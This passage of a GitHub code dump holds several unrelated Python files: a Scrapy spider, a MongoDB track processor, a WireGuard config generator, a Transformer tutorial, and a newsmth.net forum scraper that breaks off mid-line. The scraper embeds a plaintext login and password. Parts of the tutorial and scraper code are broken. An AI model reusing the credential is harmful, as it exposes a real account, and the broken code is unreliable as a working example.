import ItemLoader\nfrom scrapy.loader.processors import MapCompose\n\nclass BookSpider(scrapy.Spider):\n name = 'book_spider'\n\n start_urls = [\n 'https://books.toscrape.com/'\n ]\n\n def parse(self, response):\n categories = response.css('.nav-list ul a::attr(href)').getall()\n \n yield from response.follow_all(categories, self.parse_categories)\n\n def parse_categories(self, response):\n\n for book in response.css('.col-lg-3'):\n loader = ItemLoader(item=BasicSpiderItem(), selector=book)\n loader.add_css('book_title', '.product_pod a::attr(title)')\n loader.add_css('book_price', '.price_color::text')\n loader.add_css('book_img_url', '.thumbnail::attr(src)', MapCompose(response.urljoin))\n loader.add_value('book_details_url', response.urljoin(book.css('.product_pod a::attr(href)').get()))\n\n yield loader.load_item()\n\n next_page = response.css('.next a::attr(href)').get()\n if next_page is not None:\n yield response.follow(next_page, callback=self.parse_categories)","repo_name":"Augustogp/Scrapy_coding_challenge","sub_path":"venv/basic_spider/build/lib/basic_spider/spiders/basic_spider.py","file_name":"basic_spider.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"5454496622","text":"# основной алгоритм получения и обработки данных\n\nfrom base.mongo import *\nfrom base.logic import xy2s, span\n\nfrom data.person import Person\nfrom data.position import Position\nfrom data.track import outlier, smooth, prune\n\nfrom calc.moment import moment\nfrom calc.velocity import velocity\nfrom calc.vehicle import vehicle\n\n\n# ----------------------------------\n\nclass Process:\n p = [] # люди\n k = 0 # номер трека\n\n t = 60 # максимальное время и расстояние между двумя соседними точками\n d = 1000\n\n n = 100000 # по сколько точек кладем в базу\n\n # ----------------------------------\n\n def __init__(self, k):\n self.p = [Person() for i in range(k)]\n temp_collection.drop()\n\n # ----------------------------------\n # точки притяжения человека\n\n def make(self, q):\n person = self.p[q.i]\n\n if person.p:\n\n if span(q, person.p) > self.t: # трек оборвался\n self.temp2data(q.k) # перекалдываем его\n\n q.k = self.k # начинаем новый трек\n self.k += 1\n\n else:\n q.k = person.p.k\n\n else:\n q.k = self.k # начинаем новый трек\n self.k += 1\n\n person.p = q\n self.temp(q) # сохраняем позицию\n\n # ----------------------------------\n # обработка трека\n\n def track(self, p):\n for q in p: xy2s(q) # находим квадрат\n\n outlier.make(p) # удаляем выбросы\n prune.make(p) # прореживаем\n smooth.make(p) # сглаживаем\n\n moment.get(p) # определяем момент\n velocity.find(p) # вычисляем скорости\n\n vehicle.find(p) # вычисляем способ перемещения\n\n # ----------------------------------\n\n def temp(self, q):\n d = {\n 'i': q.i,\n 'x': q.x,\n 'y': q.y,\n 't': q.t,\n 'e': q.e,\n 'k': q.k,\n }\n temp_collection.insert_one(d)\n\n # ----------------------------------\n # перекладываем трек\n\n def temp2data(self, i):\n p = []\n\n for d in temp_collection.find({'i': i}):\n q = Position(d['i'], d['x'], d['y'], d['t'], d['e'])\n p.append(q)\n\n self.track(p)\n data = []\n\n for q in p:\n d = {\n 'i': q.i,\n 'x': q.x,\n 'y': q.y,\n 't': q.t,\n 'r': q.r,\n 'k': q.k,\n 'v': q.v,\n 'm': q.m,\n }\n data.append(d)\n\n position_collection.insert_many(data)\n temp_collection.remove({'i': i}) # удаляем\n","repo_name":"yugle7/geo","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"33115352362","text":"import os\nfrom os import path\nfrom threading import Thread\nfrom netaddr import IPNetwork\nimport json\n\ncidr = os.environ['CIDR']\nclient_dir = os.environ['CLIENT_DIR']\nnumber_of_clients = os.environ['NUMBER_OF_CLIENTS']\nip_prefix = os.environ['IP_PREFIX']\nclient_port = os.environ['CLIENT_PORT']\nexternal_dns = os.environ['EXTERNAL_DNS']\nserver_pubkey = os.environ['SERVER_PUBLIC_KEY']\nallow_ip = os.environ['ALLOW_IP']\nendpoint = os.environ['ENDPOINT']\nserver_port = os.environ['SERVER_PORT']\nserverId = os.environ['SEVER_ID']\n\nnetwork = IPNetwork(cidr)\nrange_ip = list(network)[2:int(number_of_clients)+2]\n\n\ndef gen_client(client_ip, config_path, json_path, private_key_path, public_key_path):\n privatekey = open(private_key_path, 'r').read().split('\\n') # array\n publickey = open(public_key_path, 'r').read().split('\\n') # array\n\n # Generate GW config file\n wg_conf_template = \"\"\"\\\n[Interface]\nAddress = {client_ip}/{ip_prefix}\nListenPort = {client_port}\nPrivateKey = {privatekey}\nDNS = {external_dns}\n\n[Peer]\nPublicKey = {server_pubkey}\nAllowedIPs = {allow_ip}\nEndpoint = {endpoint}:{server_port}\n\"\"\".format( client_ip=client_ip, \n ip_prefix=ip_prefix, \n client_port=client_port,\n privatekey=privatekey[0], \n external_dns=external_dns,\n server_pubkey=server_pubkey, \n allow_ip=allow_ip, \n endpoint=endpoint, \n server_port=server_port )\n\n # Generate GW json config file\n interface_addr = \"{client_ip}/{ip_prefix}\".format(client_ip=client_ip, ip_prefix=ip_prefix)\n init_endpoint = \"{endpoint}:{server_port}\".format(endpoint=endpoint, server_port=server_port)\n\n wg_json_template = {\n \"serverId\": int(serverId), \n \"wgConfig\": { \n \"Interface\": {\n \"Address\": interface_addr,\n \"ListenPort\": int(client_port),\n \"PrivateKey\": privatekey[0],\n \"DNS\": external_dns\n },\n \"Peer\": {\n \"PublicKey\": server_pubkey,\n \"AllowedIPs\": allow_ip,\n \"Endpoint\": init_endpoint\n }\n }\n }\n\n with open(config_path, 'w') as f:\n f.write(wg_conf_template)\n\n with open(json_path, 'w') as f:\n f.write(json.dumps(wg_json_template))\n\ndef gen_key_without_thread():\n\n for ip in range_ip:\n private_key_path = \"{client_dir}/{ip}/privatekey\".format(client_dir=client_dir,ip=ip)\n public_key_path = \"{client_dir}/{ip}/publickey\".format(client_dir=client_dir,ip=ip)\n config_path = \"{client_dir}/{ip}/wg.conf\".format(client_dir=client_dir,ip=ip)\n json_path = \"{client_dir}/{ip}/wg.json\".format(client_dir=client_dir,ip=ip)\n gen_client(ip, config_path, json_path, private_key_path, public_key_path)\n\nif __name__ == '__main__':\n gen_key_without_thread()\n","repo_name":"minhleaws/VPN","sub_path":"ansible-wireguard/roles/wg-config-api/files/gen_client_conf.py","file_name":"gen_client_conf.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"31524378769","text":"import tensorflow as tf\n\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nBUFFER_SIZE = 20000\nBATCH_SIZE = 64\n\n\"\"\"## Positional encoding\nSince this model doesn't contain any recurrence or convolution, \npositional encoding is added to give the model some information about the relative position of the words in the sentence. \n\nThe positional encoding vector is added to the embedding vector. \nEmbeddings represent a token in a d-dimensional space where tokens with similar meaning will be closer to each other. \nBut the embeddings do not encode the relative position of words in a sentence. So after adding the positional encoding, \nwords will be closer to each other based on the *similarity of their meaning and their position in the sentence*, in the d-dimensional space.\n\nSee the notebook on [positional encoding](https://github.com/tensorflow/examples/blob/master/community/en/position_encoding.ipynb) \nto learn more about it. The formula for calculating the positional encoding is as follows:\n\n$$\\Large{PE_{(pos, 2i)} = sin(pos / 10000^{2i / d_{model}})} $$\n$$\\Large{PE_{(pos, 2i+1)} = cos(pos / 10000^{2i / d_{model}})} $$\n\"\"\"\n\ndef get_angles(pos, i, d_model):\n angle_rates = 1 / np.power(10000, (2 * (i//2)) / np.float32(d_model))\n return pos * angle_rates\n\ndef positional_encoding(position, d_model):\n angle_rads = get_angles(np.arange(position)[:, np.newaxis],\n np.arange(d_model)[np.newaxis, :],\n d_model)\n \n # apply sin to even indices in the array; 2i\n angle_rads[:, 0::2] = np.sin(angle_rads[:, 0::2])\n \n # apply cos to odd indices in the array; 2i+1\n angle_rads[:, 1::2] = np.cos(angle_rads[:, 1::2])\n \n pos_encoding = angle_rads[np.newaxis, ...]\n \n return tf.cast(pos_encoding, dtype=tf.float32)\n\n\"\"\"## Masking\n\nMask all the pad tokens in the batch of sequence. It ensures that the model does not treat padding as the input. The mask indicates where pad value `0` is present: it outputs a `1` at those locations, and a `0` otherwise.\n\"\"\"\n\ndef create_padding_mask(seq):\n seq = tf.cast(tf.math.equal(seq, 0), tf.float32)\n \n # add extra dimensions to add the padding\n # to the attention logits.\n return seq[:, tf.newaxis, tf.newaxis, :] # (batch_size, 1, 1, seq_len)\n\n\"\"\"The look-ahead mask is used to mask the future tokens in a sequence. In other words, the mask indicates which entries should not be used.\n\nThis means that to predict the third word, only the first and second word will be used. Similarly to predict the fourth word, only the first, second and the third word will be used and so on.\n\"\"\"\n\ndef create_look_ahead_mask(size):\n mask = 1 - tf.linalg.band_part(tf.ones((size, size)), -1, 0)\n return mask # (seq_len, seq_len)\n\n\"\"\"## Scaled dot product attention\"\"\"\n\n\ndef scaled_dot_product_attention(q, k, v, mask):\n \"\"\"Calculate the attention weights.\n q, k, v must have matching leading dimensions.\n k, v must have matching penultimate dimension, i.e.: seq_len_k = seq_len_v.\n The mask has different shapes depending on its type(padding or look ahead) \n but it must be broadcastable for addition.\n \n Args:\n q: query shape == (..., seq_len_q, depth)\n k: key shape == (..., seq_len_k, depth)\n v: value shape == (..., seq_len_v, depth_v)\n mask: Float tensor with shape broadcastable \n to (..., seq_len_q, seq_len_k). Defaults to None.\n \n Returns:\n output, attention_weights\n \"\"\"\n\n matmul_qk = tf.matmul(q, k, transpose_b=True) # (..., seq_len_q, seq_len_k)\n \n # scale matmul_qk\n dk = tf.cast(tf.shape(k)[-1], tf.float32)\n scaled_attention_logits = matmul_qk / tf.math.sqrt(dk)\n\n # add the mask to the scaled tensor.\n if mask is not None:\n scaled_attention_logits += (mask * -1e9) \n\n # softmax is normalized on the last axis (seq_len_k) so that the scores\n # add up to 1.\n attention_weights = tf.nn.softmax(scaled_attention_logits, axis=-1) # (..., seq_len_q, seq_len_k)\n\n output = tf.matmul(attention_weights, v) # (..., seq_len_q, depth_v)\n\n return output, attention_weights\n\n\"\"\"As the softmax normalization is done on K, its values decide the amount of importance given to Q.\n\nThe output represents the multiplication of the attention weights and the V (value) vector. \nThis ensures that the words you want to focus on are kept as-is and the irrelevant words are flushed out.\n\"\"\"\n\n\"\"\"## Multi-head attention\n\n\"\"\"\n\nclass MultiHeadAttention(tf.keras.layers.Layer):\n def __init__(self, d_model, num_heads):\n super(MultiHeadAttention, self).__init__()\n self.num_heads = num_heads\n self.d_model = d_model\n \n assert d_model % self.num_heads == 0\n \n self.depth = d_model // self.num_heads\n \n self.wq = tf.keras.layers.Dense(d_model)\n self.wk = tf.keras.layers.Dense(d_model)\n self.wv = tf.keras.layers.Dense(d_model)\n \n self.dense = tf.keras.layers.Dense(d_model)\n \n def split_heads(self, x, batch_size):\n \"\"\"Split the last dimension into (num_heads, depth).\n Transpose the result such that the shape is (batch_size, num_heads, seq_len, depth)\n \"\"\"\n x = tf.reshape(x, (batch_size, -1, self.num_heads, self.depth))\n return tf.transpose(x, perm=[0, 2, 1, 3])\n \n def call(self, v, k, q, mask):\n batch_size = tf.shape(q)[0]\n \n q = self.wq(q) # (batch_size, seq_len, d_model)\n k = self.wk(k) # (batch_size, seq_len, d_model)\n v = self.wv(v) # (batch_size, seq_len, d_model)\n \n q = self.split_heads(q, batch_size) # (batch_size, num_heads, seq_len_q, depth)\n k = self.split_heads(k, batch_size) # (batch_size, num_heads, seq_len_k, depth)\n v = self.split_heads(v, batch_size) # (batch_size, num_heads, seq_len_v, depth)\n \n # scaled_attention.shape == (batch_size, num_heads, seq_len_q, depth)\n # attention_weights.shape == (batch_size, num_heads, seq_len_q, seq_len_k)\n scaled_attention, attention_weights = scaled_dot_product_attention(\n q, k, v, mask)\n \n scaled_attention = tf.transpose(scaled_attention, perm=[0, 2, 1, 3]) # (batch_size, seq_len_q, num_heads, depth)\n\n concat_attention = tf.reshape(scaled_attention, \n (batch_size, -1, self.d_model)) # (batch_size, seq_len_q, d_model)\n\n output = self.dense(concat_attention) # (batch_size, seq_len_q, d_model)\n \n return output, attention_weights\n\n\"\"\"## Point wise feed forward network\n\nPoint wise feed forward network consists of two fully-connected layers with a ReLU activation in between.\n\"\"\"\n\ndef point_wise_feed_forward_network(d_model, dff):\n return tf.keras.Sequential([\n tf.keras.layers.Dense(dff, activation='relu'), # (batch_size, seq_len, dff)\n tf.keras.layers.Dense(d_model) # (batch_size, seq_len, d_model)\n ])\n\n\"\"\"## Encoder and decoder\"\"\"\n\n\nclass EncoderLayer(tf.keras.layers.Layer):\n def __init__(self, d_model, num_heads, dff, rate=0.1):\n super(EncoderLayer, self).__init__()\n\n self.mha = MultiHeadAttention(d_model, num_heads)\n self.ffn = point_wise_feed_forward_network(d_model, dff)\n\n self.layernorm1 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\n self.layernorm2 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\n \n self.dropout1 = tf.keras.layers.Dropout(rate)\n self.dropout2 = tf.keras.layers.Dropout(rate)\n \n def call(self, x, training, mask):\n\n attn_output, _ = self.mha(x, x, x, mask) # (batch_size, input_seq_len, d_model)\n attn_output = self.dropout1(attn_output, training=training)\n out1 = self.layernorm1(x + attn_output) # (batch_size, input_seq_len, d_model)\n \n ffn_output = self.ffn(out1) # (batch_size, input_seq_len, d_model)\n ffn_output = self.dropout2(ffn_output, training=training)\n out2 = self.layernorm2(out1 + ffn_output) # (batch_size, input_seq_len, d_model)\n \n return out2\n\nsample_encoder_layer = EncoderLayer(512, 8, 2048)\n\nsample_encoder_layer_output = sample_encoder_layer(\n tf.random.uniform((64, 43, 512)), False, None)\n\nsample_encoder_layer_output.shape # (batch_size, input_seq_len, d_model)\n\n\"\"\"### Decoder layer\n\nEach decoder layer consists of sublayers:\n\n1. Masked multi-head attention (with look ahead mask and padding mask)\n2. Multi-head attention (with padding mask). V (value) and K (key) receive the *encoder output* as inputs. Q (query) receives the *output from the masked multi-head attention sublayer.*\n3. Point wise feed forward networks\n\nEach of these sublayers has a residual connection around it followed by a layer normalization. The output of each sublayer is `LayerNorm(x + Sublayer(x))`. The normalization is done on the `d_model` (last) axis.\n\nThere are N decoder layers in the transformer.\n\nAs Q receives the output from decoder's first attention block, and K receives the encoder output, the attention weights represent the importance given to the decoder's input based on the encoder's output. In other words, the decoder predicts the next word by looking at the encoder output and self-attending to its own output. See the demonstration above in the scaled dot product attention section.\n\"\"\"\n\nclass DecoderLayer(tf.keras.layers.Layer):\n def __init__(self, d_model, num_heads, dff, rate=0.1):\n super(DecoderLayer, self).__init__()\n\n self.mha1 = MultiHeadAttention(d_model, num_heads)\n self.mha2 = MultiHeadAttention(d_model, num_heads)\n\n self.ffn = point_wise_feed_forward_network(d_model, dff)\n \n self.layernorm1 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\n self.layernorm2 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\n self.layernorm3 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\n \n self.dropout1 = tf.keras.layers.Dropout(rate)\n self.dropout2 = tf.keras.layers.Dropout(rate)\n self.dropout3 = tf.keras.layers.Dropout(rate)\n \n \n def call(self, x, enc_output, training, \n look_ahead_mask, padding_mask):\n # enc_output.shape == (batch_size, input_seq_len, d_model)\n\n attn1, attn_weights_block1 = self.mha1(x, x, x, look_ahead_mask) # (batch_size, target_seq_len, d_model)\n attn1 = self.dropout1(attn1, training=training)\n out1 = self.layernorm1(attn1 + x)\n \n attn2, attn_weights_block2 = self.mha2(\n enc_output, enc_output, out1, padding_mask) # (batch_size, target_seq_len, d_model)\n attn2 = self.dropout2(attn2, training=training)\n out2 = self.layernorm2(attn2 + out1) # (batch_size, target_seq_len, d_model)\n \n ffn_output = self.ffn(out2) # (batch_size, target_seq_len, d_model)\n ffn_output = self.dropout3(ffn_output, training=training)\n out3 = self.layernorm3(ffn_output + out2) # (batch_size, target_seq_len, d_model)\n \n return out3, attn_weights_block1, attn_weights_block2\n\n\"\"\"### Encoder\n\nThe `Encoder` consists of:\n1. Input Embedding\n2. Positional Encoding\n3. N encoder layers\n\nThe input is put through an embedding which is summed with the positional encoding. The output of this summation is the input to the encoder layers. The output of the encoder is the input to the decoder.\n\"\"\"\n\nclass Encoder(tf.keras.layers.Layer):\n def __init__(self, num_layers, d_model, num_heads, dff, input_vocab_size,\n maximum_position_encoding, rate=0.1):\n super(Encoder, self).__init__()\n\n self.d_model = d_model\n self.num_layers = num_layers\n \n self.embedding = tf.keras.layers.Embedding(input_vocab_size, d_model)\n self.pos_encoding = positional_encoding(maximum_position_encoding, \n self.d_model)\n \n \n self.enc_layers = [EncoderLayer(d_model, num_heads, dff, rate) \n for _ in range(num_layers)]\n \n self.dropout = tf.keras.layers.Dropout(rate)\n \n def call(self, x, training, mask):\n\n seq_len = tf.shape(x)[1]\n \n # adding embedding and position encoding.\n x = self.embedding(x) # (batch_size, input_seq_len, d_model)\n x *= tf.math.sqrt(tf.cast(self.d_model, tf.float32))\n x += self.pos_encoding[:, :seq_len, :]\n\n x = self.dropout(x, training=training)\n \n for i in range(self.num_layers):\n x = self.enc_layers[i](x, training, mask)\n \n return x # (batch_size, input_seq_len, d_model)\n\n\"\"\"### Decoder\n\nThe `Decoder` consists of:\n1. Output Embedding\n2. Positional Encoding\n3. N decoder layers\n\nThe target is put through an embedding which is summed with the positional encoding. The output of this summation is the input to the decoder layers. The output of the decoder is the input to the final linear layer.\n\"\"\"\n\nclass Decoder(tf.keras.layers.Layer):\n def __init__(self, num_layers, d_model, num_heads, dff, target_vocab_size,\n maximum_position_encoding, rate=0.1):\n super(Decoder, self).__init__()\n\n self.d_model = d_model\n self.num_layers = num_layers\n \n self.embedding = tf.keras.layers.Embedding(target_vocab_size, d_model)\n self.pos_encoding = positional_encoding(maximum_position_encoding, d_model)\n \n self.dec_layers = [DecoderLayer(d_model, num_heads, dff, rate) \n for _ in range(num_layers)]\n self.dropout = tf.keras.layers.Dropout(rate)\n \n def call(self, x, enc_output, training, \n look_ahead_mask, padding_mask):\n\n seq_len = tf.shape(x)[1]\n attention_weights = {}\n \n x = self.embedding(x) # (batch_size, target_seq_len, d_model)\n x *= tf.math.sqrt(tf.cast(self.d_model, tf.float32))\n print('x', x.shape)\n print('pos encoding', self.pos_encoding[:, :seq_len, :].shape)\n x += self.pos_encoding[:, :seq_len, :]\n \n x = self.dropout(x, training=training)\n\n for i in range(self.num_layers):\n x, block1, block2 = self.dec_layers[i](x, enc_output, training,\n look_ahead_mask, padding_mask)\n \n attention_weights['decoder_layer{}_block1'.format(i+1)] = block1\n attention_weights['decoder_layer{}_block2'.format(i+1)] = block2\n \n # x.shape == (batch_size, target_seq_len, d_model)\n return x, attention_weights\n\n\"\"\"## Create the Transformer\n\nTransformer consists of the encoder, decoder and a final linear layer. The output of the decoder is the input to the linear layer and its output is returned.\n\"\"\"\n\nclass Transformer(tf.keras.Model):\n def __init__(self, num_layers, d_model, num_heads, dff, input_vocab_size, \n target_vocab_size, pe_input, pe_target, rate=0.1):\n super(Transformer, self).__init__()\n\n self.encoder = Encoder(num_layers, d_model, num_heads, dff, \n input_vocab_size, pe_input, rate)\n\n self.decoder = Decoder(num_layers, d_model, num_heads, dff, \n target_vocab_size, pe_target, rate)\n\n self.final_layer = tf.keras.layers.Dense(target_vocab_size)\n \n def call(self, inp, tar, training, enc_padding_mask, \n look_ahead_mask, dec_padding_mask):\n\n enc_output = self.encoder(inp, training, enc_padding_mask) # (batch_size, inp_seq_len, d_model)\n \n # dec_output.shape == (batch_size, tar_seq_len, d_model)\n dec_output, attention_weights = self.decoder(\n tar, enc_output, training, look_ahead_mask, dec_padding_mask)\n \n final_output = self.final_layer(dec_output) # (batch_size, tar_seq_len, target_vocab_size)\n \n return final_output, attention_weights\n\n\"\"\"## Set hyperparameters\n\n\"\"\"\n\nnum_layers = 1\nd_model = 128\ndff = 512\nnum_heads = 8\n\ninput_vocab_size = 14 #TODO change this in function of the number of features considered.\ntarget_vocab_size = 1\ndropout_rate = 0.1\nEPOCHS = 20\n\n\"\"\"## Optimizer\n\nUse the Adam optimizer with a custom learning rate scheduler according to the formula in the [paper](https://arxiv.org/abs/1706.03762).\n\n$$\\Large{lrate = d_{model}^{-0.5} * min(step{\\_}num^{-0.5}, step{\\_}num * warmup{\\_}steps^{-1.5})}$$\n\"\"\"\n\nclass CustomSchedule(tf.keras.optimizers.schedules.LearningRateSchedule):\n def __init__(self, d_model, warmup_steps=4000):\n super(CustomSchedule, self).__init__()\n \n self.d_model = d_model\n self.d_model = tf.cast(self.d_model, tf.float32)\n\n self.warmup_steps = warmup_steps\n \n def __call__(self, step):\n arg1 = tf.math.rsqrt(step)\n arg2 = step * (self.warmup_steps ** -1.5)\n \n return tf.math.rsqrt(self.d_model) * tf.math.minimum(arg1, arg2)\n\nlearning_rate = CustomSchedule(d_model)\n\noptimizer = tf.keras.optimizers.Adam(learning_rate, beta_1=0.9, beta_2=0.98, \n epsilon=1e-9)\n\ntemp_learning_rate_schedule = CustomSchedule(d_model)\n\n\"\"\"## Loss and metrics\n\nSince the target sequences are padded, it is important to apply a padding mask when calculating the loss.\n\"\"\"\n\nloss_object = tf.keras.losses.SparseCategoricalCrossentropy(\n from_logits=True, reduction='none')\n\ndef loss_function(real, pred):\n mask = tf.math.logical_not(tf.math.equal(real, 0))\n loss_ = loss_object(real, pred)\n\n mask = tf.cast(mask, dtype=loss_.dtype)\n loss_ *= mask\n \n return tf.reduce_mean(loss_)\n\ntrain_loss = tf.keras.metrics.Mean(name='train_loss')\ntrain_accuracy = tf.keras.metrics.SparseCategoricalAccuracy(\n name='train_accuracy')\n\n\"\"\"## Training and checkpointing\"\"\"\n\ntransformer = Transformer(num_layers, d_model, num_heads, dff,\n input_vocab_size, target_vocab_size, \n pe_input=input_vocab_size, \n pe_target=target_vocab_size,\n rate=dropout_rate)\n\ndef create_masks(inp, tar):\n # Encoder padding mask\n enc_padding_mask = create_padding_mask(inp)\n \n # Used in the 2nd attention block in the decoder.\n # This padding mask is used to mask the encoder outputs.\n dec_padding_mask = create_padding_mask(inp)\n \n # Used in the 1st attention block in the decoder.\n # It is used to pad and mask future tokens in the input received by \n # the decoder.\n look_ahead_mask = create_look_ahead_mask(tf.shape(tar)[1])\n dec_target_padding_mask = create_padding_mask(tar)\n combined_mask = tf.maximum(dec_target_padding_mask, look_ahead_mask)\n \n return enc_padding_mask, combined_mask, dec_padding_mask\n\n\"\"\"Create the checkpoint path and the checkpoint manager. This will be used to save checkpoints every `n` epochs.\"\"\"\n\ncheckpoint_path = \"./checkpoints/train\"\n\nckpt = tf.train.Checkpoint(transformer=transformer,\n optimizer=optimizer)\n\nckpt_manager = tf.train.CheckpointManager(ckpt, checkpoint_path, max_to_keep=5)\n\n# if a checkpoint exists, restore the latest checkpoint.\nif ckpt_manager.latest_checkpoint:\n ckpt.restore(ckpt_manager.latest_checkpoint)\n print ('Latest checkpoint restored!!')\n\ntrain_step_signature = [\n tf.TensorSpec(shape=(None, None), dtype=tf.int64),\n tf.TensorSpec(shape=(None, None), dtype=tf.int64),\n]\n\n@tf.function(input_signature=train_step_signature)\ndef train_step(inp, tar):\n tar_inp = tar[:, :-1]\n tar_real = tar[:, 1:]\n \n enc_padding_mask, combined_mask, dec_padding_mask = create_masks(inp, tar_inp)\n \n with tf.GradientTape() as tape:\n predictions, _ = transformer(inp, tar_inp, \n True, \n enc_padding_mask, \n combined_mask, \n dec_padding_mask)\n loss = loss_function(tar_real, predictions)\n\n gradients = tape.gradient(loss, transformer.trainable_variables) \n optimizer.apply_gradients(zip(gradients, transformer.trainable_variables))\n \n train_loss(loss)\n train_accuracy(tar_real, predictions)\n\n\"\"\"Portuguese is used as the input language and English is the target language.\"\"\"\n\nfor epoch in range(EPOCHS):\n start = time.time()\n \n train_loss.reset_states()\n train_accuracy.reset_states()\n \n # inp -> portuguese, tar -> english\n for (batch, (inp, tar)) in enumerate(train_dataset):\n train_step(inp, tar)\n \n if batch % 50 == 0:\n print ('Epoch {} Batch {} Loss {:.4f} Accuracy {:.4f}'.format(\n epoch + 1, batch, train_loss.result(), train_accuracy.result()))\n \n if (epoch + 1) % 5 == 0:\n ckpt_save_path = ckpt_manager.save()\n print ('Saving checkpoint for epoch {} at {}'.format(epoch+1,\n ckpt_save_path))\n \n print ('Epoch {} Loss {:.4f} Accuracy {:.4f}'.format(epoch + 1, \n train_loss.result(), \n train_accuracy.result()))\n\n print ('Time taken for 1 epoch: {} secs\\n'.format(time.time() - start))\n\n\n\n\"\"\"## Evaluate\n\nThe following steps are used for evaluation:\n\n* Encode the input sentence using the Portuguese tokenizer (`tokenizer_pt`). Moreover, add the start and end token so the input is equivalent to what the model is trained with. This is the encoder input.\n* The decoder input is the `start token == tokenizer_en.vocab_size`.\n* Calculate the padding masks and the look ahead masks.\n* The `decoder` then outputs the predictions by looking at the `encoder output` and its own output (self-attention).\n* Select the last word and calculate the argmax of that.\n* Concatentate the predicted word to the decoder input as pass it to the decoder.\n* In this approach, the decoder predicts the next word based on the previous words it predicted.\n\nNote: The model used here has less capacity to keep the example relatively faster so the predictions maybe less right. To reproduce the results in the paper, use the entire dataset and base transformer model or transformer XL, by changing the hyperparameters above.\n\"\"\"\n\ndef evaluate(inp_sentence):\n start_token = [tokenizer_pt.vocab_size]\n end_token = [tokenizer_pt.vocab_size + 1]\n \n # inp sentence is portuguese, hence adding the start and end token\n inp_sentence = start_token + tokenizer_pt.encode(inp_sentence) + end_token\n encoder_input = tf.expand_dims(inp_sentence, 0)\n \n # as the target is english, the first word to the transformer should be the\n # english start token.\n decoder_input = [tokenizer_en.vocab_size]\n output = tf.expand_dims(decoder_input, 0)\n \n for i in range(MAX_LENGTH):\n enc_padding_mask, combined_mask, dec_padding_mask = create_masks(\n encoder_input, output)\n \n # predictions.shape == (batch_size, seq_len, vocab_size)\n predictions, attention_weights = transformer(encoder_input, \n output,\n False,\n enc_padding_mask,\n combined_mask,\n dec_padding_mask)\n \n # select the last word from the seq_len dimension\n predictions = predictions[: ,-1:, :] # (batch_size, 1, vocab_size)\n\n predicted_id = tf.cast(tf.argmax(predictions, axis=-1), tf.int32)\n \n # return the result if the predicted_id is equal to the end token\n if predicted_id == tokenizer_en.vocab_size+1:\n return tf.squeeze(output, axis=0), attention_weights\n \n # concatentate the predicted_id to the output which is given to the decoder\n # as its input.\n output = tf.concat([output, predicted_id], axis=-1)\n\n return tf.squeeze(output, axis=0), attention_weights\n\ndef plot_attention_weights(attention, sentence, result, layer):\n fig = plt.figure(figsize=(16, 8))\n \n sentence = tokenizer_pt.encode(sentence)\n \n attention = tf.squeeze(attention[layer], axis=0)\n \n for head in range(attention.shape[0]):\n ax = fig.add_subplot(2, 4, head+1)\n \n # plot the attention weights\n ax.matshow(attention[head][:-1, :], cmap='viridis')\n\n fontdict = {'fontsize': 10}\n \n ax.set_xticks(range(len(sentence)+2))\n ax.set_yticks(range(len(result)))\n \n ax.set_ylim(len(result)-1.5, -0.5)\n \n ax.set_xticklabels(\n [')
(?P.*?)(?= )')\n # .*? .匹配任意字符，？非贪婪。 正则表达式的关键在于：卡住开头和结尾（固定字符），中间任意（.*?）\n temp_posts += onepost_patten.findall(temp_text)\n if(len(temp_posts)<20):\n logger.debug('page=%s: cant find post!' %i)\n #得到这个页面的所有标题，分配到对应的days_input的item中\n for k in range(len(temp_posts)):#每一个标题计算一次\n temp_date = str_to_date(temp_posts[k][2])#日期取出来\n if(temp_date!=None):\n if(days_input[0].today_date==None):#还没确定今天的日期\n days_input[0].get_today_date(temp_date)\n days_input[0].get_all_postheader(temp_posts[0][1])\n else:\n j=0\n while(j!=len(days_input)):#看看该归到哪个日期下面\n if(temp_date==days_input[j].today_date):\n days_input[j].get_all_postheader(temp_posts[k][1])\n break\n else:\n j+=1\n if(j==len(days_input)):#如果没有这个日期\n days_input.append(oneday_input())#增加一个新对象，有新的日期\n days_input[-1].get_today_date(temp_date)#设置日期\n days_input[-1].get_all_postheader(temp_posts[k][1])#把帖子标题添加进来\n #time.sleep(2)#避免被封号\n pass\n import pickle\n with open('smth_stock.pkl','wb') as pk:\n pickle.dump(days_input,pk)\n\n\nif __name__ == \"__main__\" and EVERYDAY:\n import pickle\n with open('smth_stock.pkl','rb') as pk:\n days_input = pickle.load(pk)\n#得到昨天的日期\n yesterday_date = date.today()-timedelta(1)\n#登录\n url_list = \"http://m.newsmth.net/board/Stock?p=\"\n host = 'm.newsmth.net'\n total_read_pages = 500\n days_input = [oneday_input()]\n import requests\n session = requests.Session()\n session.post('http://m.newsmth.net/user/login', data={'id':'yigo3000','passwd':'7227510', 'save':'on'})\n not_the_day_wanted_count = 0#不属于我们想要的天\n page_num=1\n while(not_the_day_wanted_count>10):\n temp_posts=[]\n temp_text = get_text_from_url(session,url_list+str(page_num),host,\"utf-8\")\n #logger.debug(temp_text)\n #得到标题和日期\n import re\n onepost_patten = re.compile(r'(?P/article/.*?(?=\">))\">(?P.*?(?=)).*?(?=
)
